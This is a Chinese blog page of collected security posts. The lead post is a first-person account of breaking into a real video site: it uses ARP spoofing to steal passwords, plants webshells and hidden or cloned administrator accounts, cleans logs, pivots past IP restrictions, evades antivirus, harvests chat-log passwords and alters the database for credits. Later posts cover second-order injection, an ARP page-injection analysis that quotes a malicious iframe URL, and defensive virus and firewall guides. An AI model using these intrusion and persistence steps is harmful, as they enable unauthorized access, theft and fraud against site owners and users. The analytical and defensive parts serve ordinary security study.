星期四, 十月 18, 2007

领土之争——入侵某视讯服务器回忆录

领土之争——入侵某视讯服务器回忆录

作者:唐不狐(blog.wang1.cn)

写在前面:

老早就打算写这样一篇文章:能够细致地反映出入侵中攻防的具体内容,我想这比单纯的技术文章有趣的多。有鉴于此,我将尽力完整描述入侵过程中的思考方式。

1.石榴裙下的kk

说实话,就第一次拿到权限而言,没有多少技术含量。我花了N久时间收集KK网络的各种信息,最终以arp欺骗获取权限。

kk的重要端口配置:ftp-21212;mssql-12345;terminal services-54321;

我们可以看到kk网管是有安全意识的,他把重要的数据端口改成10000以上的高端口,这在入侵之初就让我吃了闭门羹。因为我有个不太好的习惯,第一次扫描端口总是在1-10000内。而以上端口是我某次发狠心扫描1-65000发现的。

有了这个发现,我成功利用cain的arp欺骗功能获得:ftp口令,mssql口令,终端口令

2.webshell下的徘徊

再次证明kk网管对安全的意识就是在webshell环境中的遭遇,我是直接使用ftp上传shell,起初是海阳的2006版,shell没有写权限。

当时还没有嗅到终端口令,我在webshell里考虑着提权的可能性。mssql是2005版的,连接用户权限是db_owner,作为不大。ftp是FileZilla Server这款软件配置的。我之前入侵kk同段server的时候遇到过,这玩意的配置文件默认会泄漏口令,而且是明文的。

但令我失望的是kk网管的专业再次延长了其沦陷的时间。我从他的配置信息里读到32位的md5加密口令,破解失败。

当然我收获了第一步的成功果实,利用数据库管理功能刷了些点,自己爽了一晚上。

3.天堂与地狱的距离仅一步之遥

在我嗅到终端口令后,我一举拿下kk的2台重要server,其中一台是数据服务器。(口令不一样)

我很明白:kk网管很专业,也很勤快,几乎每天都会上来几次。我必须把后门做的隐蔽些。于是我做了较为详细的计划,如下:

a.我上线的时间应该是周末早上(这类成人站点晚上营业,周末早上是最安全的),避开网管

b.两台机子上的后门放置方式应该不一样(防治一台被查出,另一台也挂掉),后门也应该是多道的

c.日志处理要极谨慎

于是我在周六的早上6:00,悄悄登陆,分别做了以下工作。

1.我在有web的服务器上(有多个网站)的几个网站都插了一句话马,在隐蔽目录直接留了马,并修改了时间属性

2.一台机子我做了name$这样的隐藏帐号;而另一台我把sqldebugger用户克隆成administrator

3.我在数据库服务器上放了端口复用后门(后来发现tcp/ip筛选导致我这个后门无法使用)

4.我记录了所有已经获得的口令,并仔细查看了web网站结构,后台登陆口,数据库内的管理帐号(密码是加密的),包含经销商、主播、会员等的数据

5.我清理了曾经用过的程序日志,悄悄退出,并决定不再轻易登陆

6.arp依然是我的一道后门

然而,即便如此,接下来的几天,我都无法阻止权限的丢失。(当然主要暴露原因是我刷库造成的)

先是管理员发现了webshell的存在,他果断的直接使用备份还原。(kk的网站不大)接下来他又觉察到了FTP口令泄密,修改口令,并且做了ip限制。(这是我在后面使用放置在其他站的webshell查看配置文件知道的)。

再接下来,他又对sql端口,终端端口做了ip安全策略,仅允许指定的ip和ip段访问。这样我即使有口令也无可奈何了。

4.领土之争

kk的web脚本是aspx的,原先我留的aspshell总是被他抓到,我于是留了个心眼,藏了几个aspxshell混在里面。果然管理员并没有发现。(后来知道是禁用了asp)

于是我面临这样的处境:

我有一个aspxshell(lake2的)可以运行cmd,一个admin权限的用户口令。

限制是:shell没有写权限,lake2的这款shell连接sql时,遇到非1433端口,无法连接。而我又不能上传新的shell上去。

有人问:你怎么不用nc反弹呢?

kk做了tcp/ip筛选,对tcp端口的出站访问做了严格限制,仅允许80,21212,12345,54321,1935(flash media server).这也是我的端口复用后门失效的原因.(其实端口复用后门不是真正的复用,还是要用到其他端口的)

又有人问:psexec(pstools套件里的这个工具不是可以用吗?)

psexec的运行需要先决条件:即rpc共享开启,需要开启server,workstation服务.(kk的这两个服务是关闭的,而我在shell下是没有权限启动服务的).即便如此我在本地测试的时候都没有成功.

我考虑了3套可行方案:

a.我想到了runas命令可以其他用户身份执行指令,运行程序

b.sql的命令行用法:isql

c.入侵他允许连接的那些ip和ip段中的至少一台,作为跳板进去.(这个列表我已经获得)

最终我成功的2条.

a.runas需要二次交互,直接命令行是无法完成的,需要写脚本,或利用第三方程序.脚本我google到一些例子,本地都没有测试成功.工具也只是听说,无缘得见,本方案失败.

b.isql的用法

isql -S ip,port -U login_id -P pass -d database -Q "SELECT * FROM TABLE"

我翻阅了网上的资料,以上命令是正确的,但我在shell下连接时,却提示“登陆失败”。苦恼许久,最后才发现当pass中含有特殊字符时需要用“”包含起来。这一发现让我顺利的解决刷库问题。

接下来我尝试了猜解sa用户的口令,以期望用此来提升权限。失败

c.当我在第二套方案遇到问题时,我一边在网上翻阅资料,一边尝试了第三套方案。这中间遇到了一个问题。

我成功的拿到一个shell,并且找到了sa口令,本以为事情会很顺利。问题却来了:

内网,我需要上传lcx端口转发工具,才能远程登陆。在我上传的时候,我发现无论我上传什么,都只出现一个21B大小的文件。然后我利用tftp,ftp,vbs下载均告失败。

这个问题困扰了我几天。

后来我想起是不是因为组件的问题,导致我上传文件失败?我浏览了server的程序文件夹发现其安装有另外的上传组件。这坚定了我的判断。于是解决方案也随之出炉了:

我找了一个无组件上传脚本,顺利的解决了文件上传问题。当然这里遇到我们亲爱的瑞星的小小阻扰。(以前瑞星对加壳的文件查杀能力是很弱的,新版这方面有所提升,当然免杀一个lcx并非难事,就此不表)

有了上面的成功,我成功的再次进入kk的服务器。

5.好事多磨

当我得意的用刷库的帐号去网站溜达的时候,却发现我无法正常使用该帐号,总是在连接到它的3号视讯服务器的时候,当掉。更严重的时,几次之后我的ip就会被封锁。

我意识到问题的棘手。通过抓包,我获取了3号视讯服务器的ip。

并再一次成功入侵,这次入侵更有了一些意外收获。我在翻查msn聊天记录的时候,得到很多重要的口令。更对整个公司的运作有了充分的了解。

6.尾声

这场领土之争谈不上谁胜了,而我写此文的目的也不仅是展现一次入侵,更是一次防守。立体的攻防演练,我们不防当作一次黑盒测试。

浅谈web app二次漏洞

作者:T_Torchidy (jnchaha_at_163.com)

来源:安全焦点

在假设设计上不存在问题(即人解决某个应用的方式不存在问题)以及所采用的语言以及其他周边组件是安全的情况下,程序的漏洞就大部分就是由于在实现问题的过程中,程序员对安全的漠视或是对安全的不太了解造成的,而从程序的角度看,这种漏洞不外乎是不安全的参数进入不安全的操作中引起的。

不安全的操作大家都知道有很多,譬如文件读写,数据库查询,代码执行以及其他的一些危险函数的使用等等,那么不安全的参数主要是哪些呢?有人说所有用户的输入都是有害的,在我看来输入可以分两种,直接的输入与间接的输入。直接的输入是可以看到的,如url里的参数,浏览器与服务器的一些环境变量,用户提交的Cookie,用户通过表单进行的输入等等,对于这些输入大部分的程序员都会在安全上比较在意,比较注意参数的过滤,因为这些输入是显而易见的,触发比较简单,甚至一些输入如果不做过滤的话会导致程序出错,再加上PHP这种语言对于一些进入的参数的默认保护(Magic Quote选项),所以这种参数现在在大的程序里比较少出问题,但是另外一种隐式的输入却被人们忽略了,那就是来自数据库(包括Mysql这种数据库,文本数据库和一些人常用的cache以及php配置文件等等),可以尝试为程序做一个流程图:

处理流程 用户的输入==========> 程序处理(过滤)=========> 数据存储 ==========> 程序处理==========>输出给用户

数据流程 原始的数据如’=======> 程序处理(安全的数据如\’)==> Mysql里存储(原始的数据如’)========>程序处理(处理的是’)=========>输出给用户

可以看到,如果用户的输入暂时性地存储在数据库里然后被取出来使用而没有加过滤的话是很危险的,因为这个时候数据就是用户输入的最原始的数据不受GPC等安全措施保护,另外就是这种漏洞触发的条件比直接用户的输入要多一些操作,所以一般的测试比较难发现,而会被误认为是安全的。

上面的模型只是简单地说明问题的存在,实际情况里完全不局限于上面提到的’和mysql等等,实际上,动网使用的将一个’转换成’’的处理Sql 注射的方法还是很危险的,就很容易遭受这种攻击,事实上我也发现过这种问题:)从程序员的角度想想,什么时候会现这种安全问题呢?数据需要暂时地存储在某个地方,然后在另外的地方需要从里面取出来进行操作,那么什么时候会这样什么时候容易出现问题呢?譬如注册的时候的用户名,如果允许’的话就等于是把祸根引入了,因为很多地方都需要使用用户名,而且用户名是存储在数据库里的,如果在后面的操作里不小心把用户名取出来直接送到数据库操作里就会出现问题(或者是将用户名放到session里然后进行操作),这种情况下可以看成是数据库到数据库的操作,不受GPC影响当然会出问题啦!当然问题不只是’,用于文件操作的\0呢?通常会被addslashe的\0,如果有从数据库直接到文件操作的数据流程,危险是很大的。而且在程序员的眼睛里,可能无意识地认为从数据库里出来的东西都是经过检查的东西,但是事实上常常相反。

那么如何避免并且检测这种漏洞呢?对于开发者首先就是良好的编程习惯以及安全意识,明白数据库以及缓存文件里出来的东西一样不安全,其次就是在进行数据过滤的时候,不要只是暂时地让数据失去危害,可以考虑永久地让数据失去危害,譬如在过滤的时候不是将’变成\’等,而是在条件允许的情况下将其直接转换成HTML字符',这样并不影响显示但是数据却不再会包含让数据库的元字符所以不用担心注射了,其他的字符可以一样考虑处理。另外就是尽量对数据库进行严格的设计,实际上在存储的过程中有一层隐含的数据过滤,譬如数据字段的大小限制了数据的长度,数据字段的类型限制了数据的类型,所以我们尽量在允许的条件下使用数字类型的字段,并且尽量将数据字段的大小缩小,无论是在存储还是安全上还是很有意义的。对于检测的人员来说,如果是白盒操作,可以将数据库的字符类型的字段取出来,然后在程序里检查这些字段的去向,实际上就是将视角放到隐含的输入上检查问题,譬如我这里就有段检查类型的代码:


/*Codz By 剑心*/

$host=’localhost’;

$user=’root’;

$password=’loveshell’;

$dbname=’discuzl’;

$link = mysql_connect($host, $user, $password);

if (!$link) {

die(’Could not connect: ’ . mysql_error());

}

echo "Connected successfully\r\n";

if(mysql_select_db($dbname, $link)) {

echo "Select Database successfully\r\n";

}

$result=mysql_list_tables($dbname);

while ($row = mysql_fetch_row($result)) {

print "Table: $row[0]\r\n";

print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";

$result2=mysql_query("show full fields from `$dbname`.`$row[0]`");

while ($row2 = mysql_fetch_row($result2)) {

if(strpos($row2[1],’int’)===false&&strpos($row2[1],’enum’)===false&&strpos($row2[1],’decimal’)===false&&strpos($row2[1],’date’)===false){

print "字段: $row2[0]\t\t属性: $row2[1]\r\n";

}

}

print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";

}

?>

然后就可以关注这些字段来检查问题了,当然并不是所有的字段都是可以控制的,关注对字段的insert update 操作可以知道输入可以有哪些更改,而select之后的操作可以检查这些字段将会进入哪些危险的操作,而如果是黑盒操作,因为代码的不透明就只能根据自己的一些探测来猜测对方的代码是如何实现的来检测是否含有二次漏洞了。

文章比较简单,期待更有意义的东西出来,譬如基于数据库的Fuzz等等。

47555病毒、Arp挂马原理技术剖析

47555病毒、Arp挂马原理技术剖析

不管是访问服务器上的任何网页,就连404的页面也会在<html>后加入:

<IFRAME SRC=http://cool.47555.com/k.htm width =1 height=1 frameborder=0></IFRAME>;,

挂马的位置在html标记左右,上面这段恶意代码,它会 每隔几秒加入代码,也就是说在输出具体的东西之前就被挂了,有时有有时又没有,不是网页源代码问题,也没有在网页源代码中加入恶意代码,即使重装服务器, 格式化重分区过第一个硬盘,放上去网站没多久一样再会出现这种情况.

首先就排除了网站被入侵的可能,因为首页能加在那个位置只能是 title的地方,用js控制也不大可能.然后去看了php.ini的设置也没有任何的异常,而且这个插入的代码有的时候出现有的时候不出现,说明不是网 站的问题了.打开同服务器的其他网站也有这个情况发生,而且状况一一样.检查并且搜索挂马的关键字之后确定不是网站程序的问题.

那么 剩下的要么是IIS自己出了问题,要么是网络的问题,因为数据是处理没有问题(这个由程序输出,而且即使是html都会出问题),经过一个一个排查,最后 基本可以确定就是arp欺骗欺骗数据报走向,然后中间人修改一些定义的关键字.因为是网络层次有问题(所以重做系统是没有用的).

目的:通过arp欺骗来直接挂马

优点:可以直接通过arp欺骗来挂马.

通常的arp欺骗的攻击方式是在同一vlan下,控制一台主机来监听密码,或者结合ssh中间人攻击来监听ssh1的密码

但这样存在局限性:1.管理员经常不登陆,那么要很久才能监听到密码

2.目标主机只开放了80端口,和一个管理端口,且80上只有静态页面,那么很难利用.而管理端口,如果是3389终端,或者是ssh2,那么非常难监听到密码.

优点:1.可以不用获得目标主机的权限就可以直接在上面挂马

2.非常隐蔽,不改动任何目标主机的页面或者是配置,在网络传输的过程中间直接插入挂马的语句.

3.可以最大化的利用arp欺骗,从而只要获取一台同一vlan下主机的控制权,就可以最大化战果.

原理:arp中间人攻击,实际上相当于做了一次代理。

正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机

arp中间人攻击时候: A---->C---->B

B---->C---->A

实际上,C在这里做了一次代理的作用

那 么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如 <iframe>...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是 正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了.

下载的Anti ARP Sniffer V3.6 免费版

*Anti ARP Sniffer V3.6是一款免费的软件,适合于个人用来监测是否存在ARP欺骗,即使整个局域网部署Anti ARP Sniffer 也不能彻底解决ARP攻击问题,请使用彩影网盾保护整个网络。

能查出此服务器区中,另一台有问题的MAC地址,告诉了网管,后来网管把这台服务器网线给剪了。

什么是ARP?

英文原义:Address Resolution Protocol

中文释义:(RFC-826)地址解析协议

局域网中,网络中实际传输的是“帧”,帧里面是有目标主机的MAC地址的。所谓“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址以保证通信的顺利进行。

注 解:简单地说,ARP协议主要负责将局域网中的32为IP地址转换为对应的48位物理地址,即网卡的MAC地址,比如IP地址为192.168.0.1网 卡MAC地址为00-03-0F-FD-1D-2B。整个转换过程是一台主机先向目标主机发送包含IP地址信息的广播数据包,即ARP请求,然后目标主机 向该主机发送一个含有IP地址和MAC地址数据包,通过MAC地址两个主机就可以实现数据传输了。

应用:在安装了以太网网络适配器 的计算机中都有专门的ARP缓存,包含一个或多个表,用于保存IP地址以及经过解析的MAC地址。在Windows中要查看或者修改ARP缓存中的信息, 可以使用arp命令来完成,比如在Windows XP的命令提示符窗口中键入“arp -a”或“arp -g”可以查看ARP缓存中的内容;键入 “arp -d IPaddress”表示删除指定的IP地址项(IPaddress表示IP地址)。arp命令的其他用法可以键入“arp /?”查看 到。

正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机

arp中间人攻击时候: A---->C---->B

B---->C---->A

实际上,C在这里做了一次代理的作用

那么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如 <iframe>...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了.

如何判断和清除局域网内的隐性病毒

  各种病毒时至今日也可算是百花齐放了,搞得人心惶惶,一旦发现自己的电脑有点异常就认定是病毒在作怪,到处找杀毒软件,总之似乎不找到"元凶"誓不罢休一样,结果病毒软件是用了一个又一个,但结果有时却往往在意料之外。

  病毒藏匿

  任何病毒和木马存在于系统中,都无法彻底和进程脱离关系,即使采用了隐藏技术,也还是能够从进程中找到蛛丝马迹,因此,查看系统中活动的进程成为我们检测病毒木马最直接的方法。但是系统中同时运行的进程那么多,哪些是正常的系统进程,哪些是木马的进程,而经常被病毒木马假冒的系统进程在系统中又扮演着什么角色呢?

  当我们确认系统中存在病毒时,可以通过“任务管理器”查看系统中的进程时又找不出异样的进程,这说明病毒采用了一些隐藏措施,我们定义这种现象病毒为隐性病毒,常见隐性病毒的有以下几种情况:

  一、真假难辨

  我们知道系统中的正常进程有:svchost.exe、explorer.exe、iexplore.exe等,可能你发现过系统中存在这样的进程:svch0st.exe、explore.exe、iexplorer.exe、winlogin.exe。对比一下,发现区别了么?这是病毒经常使用的伎俩,目的就是迷惑用户的眼睛。通常它们会将系统中正常进程名的o改为0,l改为i,i改为j,然后成为自己的进程名,仅仅一字之差,意义却完全不同。又或者多一个字母或少一个字母,例如explorer.exe和iexplore.exe本来就容易搞混,再出现个iexplorer.exe就更加混乱了。如果用户不仔细,一般就忽略了,病毒的进程就逃过了一劫。

  二、表里不一

  如果一个进程的名字为svchost.exe,和正常的系统进程名分毫不差。那么这个进程是不是就安全了呢?非也,其实它只是利用了“任务管理器”无法查看进程对应可执行文件这一缺陷。我们知道svchost.exe进程对应的可执行文件位于“C:\WINDOWS\system32”目录下(Windows2003则是C:\WINNT\system32目录),如果病毒将自身复制到“C:\WINDOWS\”中,并改名为svchost.exe,运行后,我们在“任务管理器”中看到的也是svchost.exe,和正常的系统进程无异。你能辨别出其中哪一个是病毒的进程?

  我们知道病毒种类很多,只要我们仔细地去发现,总能找到病毒源头。因为病毒传播的途径在不断地变化,黑客才能达到想要的目的,所以我们清除病毒方法也不能固定不变的,但是给我们清除病毒带来一定的困难,可以根据你的计算机所中病毒特征,判断出并借鉴哪种策略来清除病毒目的。

  病毒清理总汇

  一、在安全模式或纯DOS模式下清除病毒

  当计算机感染病毒的时候,绝大多数的感染病毒的处理可以在正常模式下彻底清除病毒,这里说的正常模式准确的说法应该是实模式(Real Mode),这里通俗点说了。其包括正常模式的 Windows 和正常模式的 Windows 下的 "MS-DOS 方式 " 或 " 命令提示符 " 。 但有些病毒由于使用了更加隐匿和狡猾的手段往往会对杀毒软件进行攻击甚至是删除系统中的杀毒软件的做法,针对这样的病毒绝大多数的杀毒软件都被设计为在安全模式可安装、使用、执行杀毒处理。在安全模式(Safe Mode)或者纯DOS下进行清除清除时,对于现在大多数流行的病毒,如蠕虫病毒、木马程序和网页代码病毒等,都可以在安全模式下彻底清除的,不必要像以前那样必须要用软盘启动杀毒;但对于一些引导区病毒和感染可执行文件的病毒才需要在纯 DOS下杀毒(建议用干净软盘启动杀毒)。而且,当计算机原来就感染了病毒,那就更需要在安装反病毒软件后(升级到最新的病毒库),在安全模式(Safe Mode)或者纯DOS下清除一遍病毒了!

  二、带毒文件在一些邮件文件中

  绝大多数的防毒软件可以直接检查这些邮件文件中的文件是否带毒,对于邮箱中的带毒的信件,可以根据用户的设置杀毒或删除带毒邮件,但是由于此类邮箱的复合文件结构,易出现杀毒后的邮箱依旧可以检测到病毒情况,这是由于没有压缩邮箱进行空间释放的原因导致的,您可以尝试在 Outlook Express 中选择“工具” — 〉“选项” — 〉“维护” — 〉“立即清除” — 〉“压缩” ,删除所有脱机内容 ,也请选上一并删除。

  三、带毒文件在 Restore 目录下,*.cpy 文件中

  这是系统还原存放还原文件的目录,只有在装了Windows Me/XP/VISTA操作系统上才会有这个目录,由于系统对这个目录有保护作用。对于这种情况需要先取消" 系统还原 " 功能,然后将带毒文件删除,甚至将整个目录删除也是可以的。

  四、带毒文件在.rar 、.zip 、.cab 等压缩文件中

  对于绝大多数的反病毒软件来说,现在的查杀压缩文件中病毒的功能已经基本完善了,单是对于一些特殊类型的压缩文件或者加了密码保护的压缩文件就可能直接清除了。要清除压缩文件中的病毒,建议解压缩后清除,或者借助压缩工具软件的外挂杀毒程序的功能,对带毒的压缩文件进行杀毒。

  五、文件中存在病毒的残留代码

  这种情况比较多见的就是带有 CIH 、Funlove 、宏病毒(包括 Word 、 Excel 、 Powerpoint 和 Wordpro 等文档中的宏病毒)和个别网页病毒的残留代码,通常防毒软件对这些带有病毒残留代码的文件报告的病毒名称后缀通常是 int 等结尾,而且并不常见,如 W32/FunLove.app 、W32.Funlove.int 。一般情况下,这些残留的代码不会影响正常程序的运行,也不会传染,如果需要彻底清除的话,要根据各个病毒的实际情况进行清除。也可以借助相关的清除工具及修改注册表来完成。

  六、共享目录杀毒

  遇到本地共享的目录中的带毒文件不能清除的情况,通常是局域网中别的用户在读写这些文件时,杀毒的时候表现为无法直接清除这些带毒文件中的病毒,如果是有病毒在对这些目录在写病毒操作,表现为对共享目录进行清除病毒操作后,还是不断有文件被感染或者不断生成新病毒文件。以上这两种情况,都建议取消共享,然后针对共享目录进行彻底查杀,恢复共享的时候,注意不要开放太高的权限,并对共享目录加设密码。 对远程的共享目录(包括映射盘)查杀病毒的时候,首先要保证本地计算机的操作系统是干净的,同时对共享目录也有最高的读写权限。如果是远程计算机感染病毒的话,建议还是直接在远程计算机进行查杀病毒。特别的,如果在清除别的病毒的时侯都建议取消所有的本地共享,再进行杀毒操作。在平时的使用中,也应注意共享目录的安全性,加设密码,同时,非必要的情况下,不要直接读取远程共享目录中的文件,建议拷贝到本地检查过病毒后再进行操作。

如何配置Windows Server 2008高级防火墙

微软的Windows Server 2003中防火墙的功能如此之简陋,让很多系统管理员将其视为鸡肋,它一直是一个简单的、仅支持入站防护、基于主机的状态防火墙.而随着Windows Server 2008的日渐向我们走近,其内置的防火墙功能得到了巨大的改进.下面让我们一起来看一下这个新的高级防火墙将如何帮助我们防护系统,以及如何使用管理控制台单元来配置它.

  为什么你应该使用这个Windows的基于主机的防火墙?

  今天许多公司正在使用外置安全硬件的方式来加固它们的网络。 这意味着,它们使用防火墙和入侵保护系统在它们的网络周围建立起了一道铜墙铁壁,保护它们自然免受互联网上恶意攻击者的入侵。但是,如果一个攻击者能够攻 破外围的防线,从而获得对内部网络的访问,将只有Windows认证安全来阻止他们来访问公司最有价值的资产-它们的数据。

  这是因为大多数IT人士没有使用基于主机的防火墙来加固他们的服务器的安全。为什么会出现这样的情况呢?因为多数IT人士认为,部署基于主机的防火墙所带来的麻烦要大于它们带来的价值。

  我希望在您读完这篇文章后,能够花一点时间来考虑Windows这个基于主机的防火墙。在Windows Server 2008中,这个基于主机的防火墙被内置在Windows中,已经被预先安装,与前面版本相比具有更多功能,而且更容易配置。它是加固一个关键的基础服务器的 最好方法之一。具有高级安全性的 Windows 防火墙结合了主机防火墙和IPSec。与边界防火墙不同,具有高级安全性的 Windows 防火墙在每台运行此版本 Windows 的计算机上运行,并对可能穿越边界网络或源于组织内部的网络攻击提供本地保护。它还提供计算机到计算机的连接安全,使您可以对通信要求身份验证和数据保护。

  那么,这个Windows Server高级防火墙可以为你做什么,你又该如何配置它?让我们继续看下去。

  

  新防火墙具备的功能及对你的帮助

  这个Windows Server 2008中的内置防火墙现在“高级”了。这不仅仅是我说它高级,微软现在已经将其称为高级安全Windows防火墙(简称WFAS)。

  以下是可以证明它这个新名字的新功能:

  1、新的图形化界面。

  现在通过一个管理控制台单元来配置这个高级防火墙。

  2、双向保护。

  对出站、入站通信进行过滤。

  3、与IPSEC更好的配合。

  具有高级安全性的Windows防火墙将Windows防火墙功能和Internet 协议安全(IPSec)集成到一个控制台中。使用这些高级选项可以按照环境所需的方式配置密钥交换、数据保护(完整性和加密)以及身份验证设置。

  4、高级规则配置。

  你可以针对Windows Server上的各种对象创建防火墙规则,配置防火墙规则以确定阻止还是允许流量通过具有高级安全性的Windows防火墙。

  传入数据包到达计算机时,具有高级安全性的Windows防火墙检查该数据包,并确定它是否符合防火墙规则中指 定的标准。如果数据包与规则中的标准匹配,则具有高级安全性的Windows防火墙执行规则中指定的操作,即阻止连接或允许连接。如果数据包与规则中的标 准不匹配,则具有高级安全性的Windows防火墙丢弃该数据包,并在防火墙日志文件中创建条目(如果启用了日志记录)。

  对规则进行配置时,可以从各种标准中进行选择:例如应用程序名称、系统服务名称、TCP端口、UDP端口、本地IP地址、远程IP地址、配置文件、接口类型(如网络适配器)、用户、用户组、计算机、计算机组、协议、ICMP类型等。规则中的标准添加在一起;添加的标准越多,具有高级安全性的Windows防火墙匹配传入流量就越精细。

  通过增加双向防护功能、一个更好的图形界面和高级的规则配置,这个高级安全Windows防火墙正在变得和传统的基于主机的防火墙一样强大,例如ZoneAlarm Pro等。

  我知道任何服务器管理员在使用一个基于主机的防火墙时首先想到的是:它是否会影响这个关键服务器基 础应用的正常工作?然而对于任何安全措施这都是一个可能存在的问题,Windows 2008高级安全防火墙会自动的为添加到这个服务器的任何新角色自动配置新的规则。但是,如果你在你的服务器上运行一个非微软的应用程序,而且它需要入站 网络连接的话,你将必须根据通信的类型来创建一个新的规则。

  通过使用这个高级防火墙,你可以更好的加固你的服务器以免遭攻击,让你的服务器不被利用去攻击别人,以及真正确定什么数据在进出你的服务器。下面让我们看一下如何来实现这些目的。

   了解配置Windows防火墙高级安全性的选择

  在以前Windows Server中,你可以在去配置你的网络适配器或从控制面板中来配置Windows防火墙。这个配置是非常简单的。

  对于Windows高级安全防火墙,大多数管理员可以或者从Windows服务器管理器配置它,或者从只有Windows高级安全防火墙MMC管理单元中配置它。以下是两个配置界面的截图:



图1、Windows Server 2008服务器管理器



图2、Windows 2008高级安全防火墙管理控制台

  我发现启动这个Windows高级安全防火墙的最简单最快速的方法是,在开始菜单的搜索框中键入‘防火墙’,如下图:



图3、快速启动Windows 2008高级安全防火墙管理控制台的方法

  另外,你还可以用配置网络组件设置的命令行工具Netsh来配置Windows高级安全防火墙。使用 netsh advfirewall可以创建脚本,以便自动同时为IPv4和IPv6流量配置一组具有高级安全性的Windows防火墙设置。还可以使用netsh advfirewall命令显示具有高级安全性的Windows防火墙的配置和状态。

使用新的Windows高级安全防火墙MMC管理单元能配置什么?

  由于使用这个新的防火墙管理控制台你可以配置如此众多的功能,我不可能面面俱道的提到它们。如果你曾经看过Windows 2003内置防火墙的配置图形界面,你会迅速的发现在这个新的Windows高级安全防火墙中躲了如此众多的选项。下面让我选其中一些最常用的功能来介绍给大家。

  默认情况下,当你第一次进入Windows高级安全防火墙管理控制台的时候,你将看到Windows高级安全防火墙默认开启,并且阻挡不匹配入站规则的入站连接。此外,这个新的出站防火墙默认被关闭。

  你将注意的其他事情是,这个Windows高级安全防火墙还有多个配置文件供用户选择。



图4、在Windows 2008高级安全防火墙中提供的配置文件

  在这个Windows高级安全防火墙中有一个域配置文件、专用配置文件和公用配置文件。配置文件是一种分组设置的方法,如防火墙规则和连接安全规则,根据计算机连接的位置将其应用于该计算机。例如根据你的计算机是在企业局域网中还是在本地咖啡店中。

  在我看来,在我们讨论过的Windows 2008高级安全防火墙的所有改进中,意义最重大的改进当属更复杂的防火墙规则。看一下在Windows Server 2003防火墙增加一个例外的选项,如下图:



图5、Windows 2003 Server防火墙例外窗口

  再来对比一下Windows 2008 Server中的配置窗口。



图6、Windows 2008 Server高级防火墙例外设置窗口

注意协议和端口标签只是这个多标签窗口中的一小部分。你还可以将规则应用到用户及计算机、程序和服务以及IP地址范围。通过这种复杂的防火墙规则配置,微软已经将Windows高级安全防火墙朝着微软的IAS Server发展。

  Windows高级安全防火墙所提供的默认规则的数量也是令人吃惊的。在Windows 2003 Server中,只有三个默认的例外规则。而Windows 2008高级安全防火墙提供了大约90个默认入站防火墙规则和至少40个默认外出规则。



图7、Windows 2008 Server高级防火墙默认入站规则

  那么你如何使用这个新的Windows高级防火墙创建一个规则呢?让我们接下来看一下。

  

  如何创建一个定制的入站规则?

  假如说你已经在你的Windows 2008 Server上安装了Windows版的Apache网站服务器。如果你已经使用了Windows内置的IIS网站服务器,这个端口自动会为你打开。但是,由于你现在使用一个来自第三方的网站服务器,而且你打开了入站防火墙,你必须手动的打开这个窗口。

  以下是步骤:

  ·识别你要屏蔽的协议-在我们的例子中,它是TCP/IP(与之对应的则是UDP/IP或ICMP)。

  ·识别源IP地址、源端口号、目的IP地址和目的端口。我们进行的Web通信是来自于任何IP地址和任何端口号并流向这个服务器80端口的数据通信。(注意,你可以为一个特定的程序创建一条规则,诸如这儿的apache HTTP服务器)。

  ·打开Windows高级安全防火墙管理控制台。

  ·增加规则-点击在Windows高级安全防火墙MMC中的新建规则按钮,开始启动新规则的向导。



图8、Windows 2008 Server高级防火墙管理控制台-新建规则按钮

·为一个端口选择你想要创建的规则。

  ·配置协议及端口号-选择默认的TCP协议,并输入80作为端口,然后点击下一步。

  ·选择默认的“允许连接”并点击下一步。

  ·选择默认的应用这条规则到所有配置文件,并点击下一步。

  ·给这个规则起一个名字,然后点击下一步。

  这时候,你将得到如下图的一条规则:



图9、创建规则后的Windows 2008 Server高级防火墙管理控制台

  经过我测试,当不启用这个规则的时候,我最近安装的Apache网站服务器不能正常工作。但是,创建了这个规则后,它可以正常工作了!

  

  结论:大有改进 值得一试

  具有防火墙配置文件、复杂的规则设置和原先30倍数量的默认规则,还有本文中未提到很多高级安全功 能,Windows 2008 Server高级安全防火墙的确名副其实,真正是一个微软所说的高级防火墙。我相信这个内置、免费、高级的基于主机的防火墙将确保Windows Server未来变得更加安全。但是,如果你不使用它,它不会对你有任何帮助。因此我希望你今天就来体验一下这个新的Windows高级防火墙。

推广链接